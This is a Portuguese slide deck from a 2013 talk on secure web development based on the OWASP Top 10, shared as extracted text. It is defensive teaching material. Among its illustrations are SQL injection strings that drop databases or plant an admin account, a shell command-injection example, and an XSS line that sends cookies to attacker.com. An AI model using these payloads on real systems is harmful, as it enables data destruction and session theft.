Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29

Preview:

DESCRIPTION

Palestra sobre desenvolvimento seguro de aplicações WEB, apresentada no Instituto Federal Catarinense - Campus Araquari em 29/09/2013

Citation preview

iTFLEX Tecnologia http://www.itflex.com.br

Desenvolvimento Seguro de Aplicações WEB

Principais vulnerabilidades e recomendações(Baseado no OWASP TOP10)

Carlos Diego Russo MedeirosDiretor Executivo – iTFLEX Tecnologia

cdiego@itflex.com.br / cdiego@gmail.com

iTFLEX Tecnologia http://www.itflex.com.br

Agenda

Apresentação

Pontos para reflexão

OWASP

TOP10

A1-Injeção

A2-Quebra de autenticação / sessão

A3-Cross-Site Scripting (XSS)

A4-Referências inseguras diretas de objetos

A5-Falhas das configurações de segurança

A6-Exposição de dados sensíveis

A7-A10 Visão Geral

Recomendações

Perguntas

iTFLEX Tecnologia http://www.itflex.com.br

Apresentação

Fundador e Diretor Executivo da iTFLEX (2004)

15 anos de experiência em linux, segurança e redes

http://br.linkedin.com/in/cadiego

MBA em Gestão Empresarial pela FGV/Sociesc (2005)

Bacharel em Informática pela Univille (2001)

Técnico pela Escola Técnica Tupy (1997)

Certficação ITILv3 Foundation (2012)

Cisco Certified Network Associate (2002)

Módulo Certified Security Officer (2002)

iTFLEX Tecnologia http://www.itflex.com.br

Reflexão

A maioria dos desenvolvedores pensa que suas ferramentas são seguras

A segurança não é apenas responsabilidade de equipe de infra-estrutura

Crescimento do cloud computing x segurança nas aplicações WEB

Você se preocupa com a segurança no desenvolvimento das suas aplicações?

Não confie cegamente na sua linguagem ou framework

iTFLEX Tecnologia http://www.itflex.com.br

OWASP

Open Web Application Security Project

Projeto aberto dedicado a capacitar as organizações a desenvolver e manter aplicações seguras.

Subprojetos, ferramentas, bibliotecas, documentos, padrões, livros, realiza eventos, grupos locais de discussão (Chapter)

2011 - OWASP AppSEC Latin America

2012 – OWASP Floripa Day

Chapters próximos (Florianópolis, Curitiba...)

iTFLEX Tecnologia http://www.itflex.com.br

OWASP

OWASP TOP10

10 principais ameças em aplicações WEB

Atualizado a cada 3 anos

Consenso entre os profissionais

Excelente para aprendizado

http://goo.gl/ZKj23a

iTFLEX Tecnologia http://www.itflex.com.br

OWASP TOP10 2013

A1-Injeção

A2-Quebra de autenticação / Sessão

A3-Cross-Site Scripting (XSS)

A4-Referências inseguras diretas de objetos

A5-Falhas das configurações de segurança

A6-Exposição de dados sensíveis

A7-Falta de controle do nível de acesso

A8-Cross-Site Request Forgery (CSRF) - Requisição forjada Cross-Site

A9-Uso de componentes com vulnerabilidade conhecidas

A10-Redirecionamentos e encaminhamentos não validados

iTFLEX Tecnologia http://www.itflex.com.br

A1-Injeção

Introdução ao A1-Injeção

Envio (injeção) de dados (entradas) não validados adequadamente

Strings interpretadas como comandos no backend

Injeção de SQL é a mais comum

iTFLEX Tecnologia http://www.itflex.com.br

A1-Injeção

iTFLEX Tecnologia http://www.itflex.com.br

A1-Injeção

iTFLEX Tecnologia http://www.itflex.com.br

A1-Injeção

E se no no lugar do ' or '1'='1 ?

● minhasenha'; DROP ALL DATABASES; --

● minhasenha'; INSERT INTO admins VALUES ('meu_admin','minha_senha'); --

● minhasenha'; UPDATE usuarios SET senha='123456' WHERE user='admin; --

E se a aplicação web estiver conectando no banco com as credenciais:

● root / sysdba ?

● Execução de comandos no sistema operacional

● Acesso a outros bancos dados

iTFLEX Tecnologia http://www.itflex.com.br

A1-Injeção

Entradas explícitas

(Ex. forms, inputs)

X

Entradas implícitas

(Hidden, Cookies, Parâmetros da URL, etc..)

iTFLEX Tecnologia http://www.itflex.com.br

A1-Injeção

Ferramenta

SQLMAP – Automatic SQL injection and database takeover tool

Realiza as injeções (Já com payloads de consultas)

Descobre o sistema de banco de dados

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2,

SQLite, Firebird, Sybase and SAP MaxDB database management systems.

Realizar blind injection quando não é retorno (timing)

Permite conexão direta ao banco de dados

http://sqlmap.org/

iTFLEX Tecnologia http://www.itflex.com.br

A1-Injeção

SQL não é único tipo de injeção

Exemplo de Shell Injection (OS Commands)

Comandos do sistema operacional chamados pela aplicação

Digite o host para obter IP: _______________

$ip = System(“/bin/host $hostname”); echo “Endereço IP: $ip”;

Digite o host para obter IP: itflex.com.br%20%3B%20/bin/ls%20-la

System(“/bin/host itflex.com.br ; /bin/ls -la”); echo ?????

iTFLEX Tecnologia http://www.itflex.com.br

A2-Quebra de autenticação / Sessão

HTTP por sua origem é stateless, criado com foco na web estática ou não era necessária autenticação ou sessão

Para aplicações web modernas poderem relacionar as transações dos usuários é necessário o conceito de sessão.

Depende do estratégia usada pelo desenvolvedor

● session_id, cookies, etc..

iTFLEX Tecnologia http://www.itflex.com.br

A2-Quebra de autenticação / Sessão

iTFLEX Tecnologia http://www.itflex.com.br

A2-Quebra de autenticação / Sessão

Possibilidades de exploração

● session_id fixo ou session_id previsível (guestable) -> força bruta

● session_id com tempo de vida muito longo (Pode ser reutilizado)

● reutilização de session_id antigo (Não altera no logon)

● credenciais enviadas por canais inseguros - firesheep (wifi)

Lógica de autenticação falha

● Manipulação de variáveis da requisição

● if ( $logado = '1'); then echo “Usuário logado”; fi;

● http://site.com.br/adm/list_users?logado=1;

iTFLEX Tecnologia http://www.itflex.com.br

A3-Cross-Site Scripting (XSS)

Introdução ao A3-Cross-Site Scripting (XSS)

Falha no tratamento de entradas ou saídas da aplicação

Permite enviar código malicioso ao browser do usuários

Todo o browser é 'explorável'

Vulnerabilidade é na aplicação, mas a vítima é o usuário

iTFLEX Tecnologia http://www.itflex.com.br

A3-Cross-Site Scripting (XSS)

<script>document.location='http://www.attacker.com/cgi-bin/get.cgi?foo='+document.cookie</script>

Persistente

iTFLEX Tecnologia http://www.itflex.com.br

A3-Cross-Site Scripting (XSS)

Possibilidades de ataque

Roubo de sessão

Fazer um deface no site (alterar, substituir conteúdo)

Inserir código malicioso (vírus)

Redirecionar o usuário para sites maliciosos

Enviar requisições involuntárias (A8-CSRF)

Exemplo do banco (duas senha, token, cartão numérico)

iTFLEX Tecnologia http://www.itflex.com.br

A3-Cross-Site Scripting (XSS)

Refletido

iTFLEX Tecnologia http://www.itflex.com.br

A4-Referências inseguras diretas de objetos

http://example.com/app/accountinfo=carlos

Referências inseguras a arquivos

http://example.com/view_file.php?arquivo=log.txt

http://example.com/view_file.php?arquivo=config.php

Usuário http://example.com/app/view.php?page=user

Administrador http://example.com/app/view.php?page=admin

(A7-Falta de controle do nível de acesso)

iTFLEX Tecnologia http://www.itflex.com.br

A5-Falhas de Configuração

Exemplos de pontos de falha

Sistema operacional desatualizado, com vulnerabilidades

Servidor de aplicação mal configurado,

configurações default, aplicações de exemplos

Consoles de administração expostos, ou com senha padrão

Configurações expostas (config.php.bkp)

Mensagem de erros não tratadas

Excesso de privilégio para aplicação

iTFLEX Tecnologia http://www.itflex.com.br

A6-Exposição de dados sensíveis

HTTPS (HTTP+SSL) protege confidencialidade da transação do usuário

não protege aplicação, nem dados armazenados

SSL obrigatório x opcional

Criptografia no front-end x backend (simétrico x assimétrico)

Uso de algorítimos de criptografia fracos

Armazenamento desnecessário de dados sensíveis

Auto-preenchimento dos forms com dados sensíveis

iTFLEX Tecnologia http://www.itflex.com.br

OWASP TOP10 2013

A1-Injeção

A2-Quebra de autenticação / Sessão

A3-Cross-Site Scripting (XSS)

A4-Referências inseguras diretas de objetos

A5-Falhas das configurações de segurança

A6-Exposição de dados sensíveis

A7-Falta de controle do nível de acesso

A8-Cross-Site Request Forgery (CSRF): Requisição forjada Cross-Site

A9-Uso de componentes com vulnerabilidade conhecidas

A10-Redirecionamentos e encaminhamentos não validados

iTFLEX Tecnologia http://www.itflex.com.br

Recomendações

Assuma que você também é responsável

Estude o OWASP TOP10: http://goo.gl/ZKj23a

Faça o tratamento das entradas e da saídas

Sanitize Inputs -> Higienizar entradas

Canonicalize Inputs -> Passar para codificação única

Validação sempre por whitelist

Minimize o privilégios da aplicação (Somente o necessário)

iTFLEX Tecnologia http://www.itflex.com.br

Recomendações

Assuma que você também é responsável

Estude o OWASP TOP10: http://goo.gl/ZKj23a

Faça o tratamento das entradas e da saídas

Sanitize Inputs -> Higienizar entradas

Canonicalize Inputs -> Passar para codificação única

Validação sempre por whitelist

Minimize o privilégios da aplicação (Somente o necessário)

iTFLEX Tecnologia http://www.itflex.com.br

Recomendações

Atenção, NÃO FUNCIONA:

Validação de entradas por Java Script

Confiar no método POST no lugar do GET

HTTPs não garante a segurança da aplicação, garante apenas a confidencialidade do canal do usuário

iTFLEX Tecnologia http://www.itflex.com.br

Recomendações

Aplicações WEB dependem de uma base segura

SO, Servidor de Aplicação, Bibliotecas

Evite usar comandos do sistema operacional, procure utilizar as funções ou bibliotecas da linguagem

mv, cp, ls, du, etc...

iTFLEX Tecnologia http://www.itflex.com.br

Recomendações

Pratique: OWASP Broken Web Applications Project: http://goo.gl/75j5PF

Pesquise sobre os recursos de segurança da sua linguagem

Exemplo: http://www.pythonsecurity.org/

Python x Owasp Top 10: http://goo.gl/xXlZcy

ESAPI: OWASP Enterprise Security API http://goo.gl/6dumHS

Youtube: OWASP Appsec Tutorial Series http://goo.gl/W1GrVJ

iTFLEX Tecnologia http://www.itflex.com.br

Recomendações

Insira a segurança no ciclo de desenvolvimento do software

iTFLEX Tecnologia http://www.itflex.com.br

FIM, Perguntas?

Obrigado pela atenção

Carlos Diego Russo Medeiros

cdiego@itflex.com.br / cdiego@gmail.com

http://br.linkedin.com/in/cadiego

(47) 3029-3388

Fonte: http://www.seginfo.com.brTradução de: http://xkcd.com/327/

Recommended